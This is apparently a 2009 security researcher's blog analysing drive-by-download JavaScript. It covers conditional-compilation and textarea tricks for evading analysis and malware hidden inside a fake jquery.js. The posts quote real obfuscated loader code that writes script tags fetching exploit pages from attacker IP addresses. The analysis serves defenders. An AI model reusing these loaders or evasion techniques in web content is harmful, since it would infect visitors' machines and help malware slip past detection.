marco
blog
Menu:
JavaScript anti-analysis tricks: IE conditional compilation
May 6, 2009
An anti-analysis/fingerprinting trick I've noticed more and more frequently in drive-by downloads is the use of IE conditional compilation.
Conditional compilation is a feature of Internet Explorer that enables the browser to control the compilation of a script (that is, to include or exclude code to be interpreted) depending on the values of a number of conditional compilation variables. Predefined variables provide information about the client environment, such as its processor, OS, and JavaScript version. Conditional compilation statements are typically contained in regular JavaScript comments to prevent problems with browsers that do not support this feature.
Here is an example of how conditional compilation is used in drive-by downloads:
/*@cc_on @*/
/*@if (@_win32)
var source ="=tdsjqu!uzqf>#ufyu0kbwbtdsjqu#!tsd>#iuuq;00:6" +
"/23:/255/33:0tubut0tubut/kt#?=0tdsjqu?";
var result = "";
for(var i=0;i<source.length;i++)
result+=String.fromCharCode(source.charCodeAt(i)-1);
document.write(result);
/*@end @*/
The cc_on statement enables conditional compilation. The @if
statement checks that the browser is running on a Win32 system. If this
is the case, then the following JavaScript block is interpreted,
otherwise it is simply ignored. The code block is a
classic deobfuscation routine that produces the following text:
<script type="text/javascript"
src="http://95.129.144.229/stats/stats.js"></script>
This script tag fetches a script that redirects to a number of pages serving
exploits.
What happens if the user's browser does not support conditional compilation, for example, it is an analysis tool based on the stock SpiderMonkey or Rhino engines? Then, it will simply consider the entire conditional compilation section a comment and it will skip it. As a consequence, the malicious script tag will not be added to the page, and, therefore, the subsequent exploits will not be launched and will not be detected by the analysis tool.
The full report for the example is available on Wepawet.
JavaScript anti-analysis tricks: /textarea
May 1, 2009
Malicious JavaScript code often relies on defensive mechanisms to evade detection or to make its deobfuscation more difficult. Some of these methods have been well discussed (see, for example, the very nice presentations Reverse Engineering Malicious Javascript by J. Nazario and Circumventing Automated JavaScript Analysis by B. Hoffman), but it's interesting to see how they are used.
Some of the earliest defensive techniques are directed against the
manual analysis of malicious code. For example, a quick analysis
technique consists of wrapping the script's code into textarea tags so
that deobfuscated code is written into the textarea and can be
quickly inspected and copy-and-pasted for further analysis. In this
case, the textarea is essentially used as a poor-man sandbox. Something
the bad guys figured out quickly was that all they needed to do to
defeat this technique was to close the textarea tag before performing
any other action.
Somewhat surprisingly, this trick is still used from time to time. A few months ago, a malicious script on ixfree.net contained the following code:
document.write("</textarea>");
var i, _, a = ["78.110.175.21", "195.24.76.251"];
_ = 1;
if (document.cookie.match(/\bhgft=1/) == null)
for (i = 0; i < 2; i++)
document.write("<script>if(_)" +
"document.write(\"<script id=_" + i + "_ src=//" + a[i]" +
"/cp/?" + navigator .appName.charAt(0) +
"><\\/script>\")<\/script>");
(see full report on Wepawet)
The code closes the textarea to escape its "sandbox", checks that a cookie is not set, and then generates two script tags that redirect to exploits. If you were to wrap this code into a textarea, you would end up with an empty textarea and a wrong detection.
Malicious "jquery"
April 26, 2009
A social engineering trick that the people behind drive-by downloads are using is that of hiding their malicious code in the middle of benign, well-know code.
For example, recently, a number of compromised web sites have found their pages modified with iframes pointing at hxxp://94.247.2.195/jquery.js. At a cursory inspection, jquery.js looks like the jQuery library, a well-known (and definitely benign) JavaScript library. The code includes the standard jQuery's copyright notice and revision information, and the first 6K bytes or so are indeed identical to the original library's code.
/*
* jQuery JavaScript Library v1.3.1
* http://jquery.com/
*
* Copyright (c) 2009 John Resig
* Dual licensed under the MIT and GPL licenses.
* http://docs.jquery.com/License
*
* Date: 2009-01-21 20:42:16 -0500 (Wed, 21 Jan 2009)
* Revision: 6158
*/
(function(){var l=this,g,y=l.jQu...
However, the malicious code is hidden toward the end of the script, where one finds:
if( (typeof(jquery_data)!=typeof(1)) &&
(document.cookie.match(/\miek=1/)==null))
document.write(
unescape('fq%3CssoWcOTHriDpgpsoWt...FH5rscDpgrRpiptRp%3E')
.replace(/soW|VV|U6k|rV|fq|OTH|H5r|Dpg|Rp/g,"")
.replace(/Z/,navigator.appName.charAt(0)=='M'?'0':'1'));
jquery_data=1;
This code determines whether an attack has already been launched, by
checking the jquery_data variable and the miek cookie. If not, it
deobfuscates a long string and writes it in the current page. The
deobfuscated string creates a new script tag which points at
hxxp://94.247.2.195/news/?id= The value of the id parameter in the
script URL is 100 if the codename of the browser starts with the letter M
(e.g., Firefox and Internet Explorer), 101 in all other cases. This
page, in turn, attempts to launch a number of exploits (see the Wepawet
report).
The exploits target vulnerabilities in MDAC, PDF, and SWF.
It's certainly true: thing are not always what they seem...
Yes exploit toolkit
April 3, 2009
It is well known that most drive-by downloads rely on exploit toolkits to fingerprint the victim's browser, identify the right exploits to launch, obfuscate the exploit code, and send it to the target.
Different exploit toolkits compete with each other on several of features. Obviously, the number and reliability of exploits. But also on user friendliness and look and feel. As evidence of this, check the interface of the Yes exploit toolkit:
No question, they spent some time on that desktop-like, web 2.0 interface...
Skype spam
January 26, 2009
Apparently years after everybody else, today I've got my first spam message on Skype. Nothing too surprising: a funny named, scanty clothed "spicy naked Dive-Teacher" abruptly but insistently invited me to visit a dubious web site. My attempts to strike a conversation with her failed miserably, as a consequence, I suppose, of my slow reaction to her invitation. Oh, well.
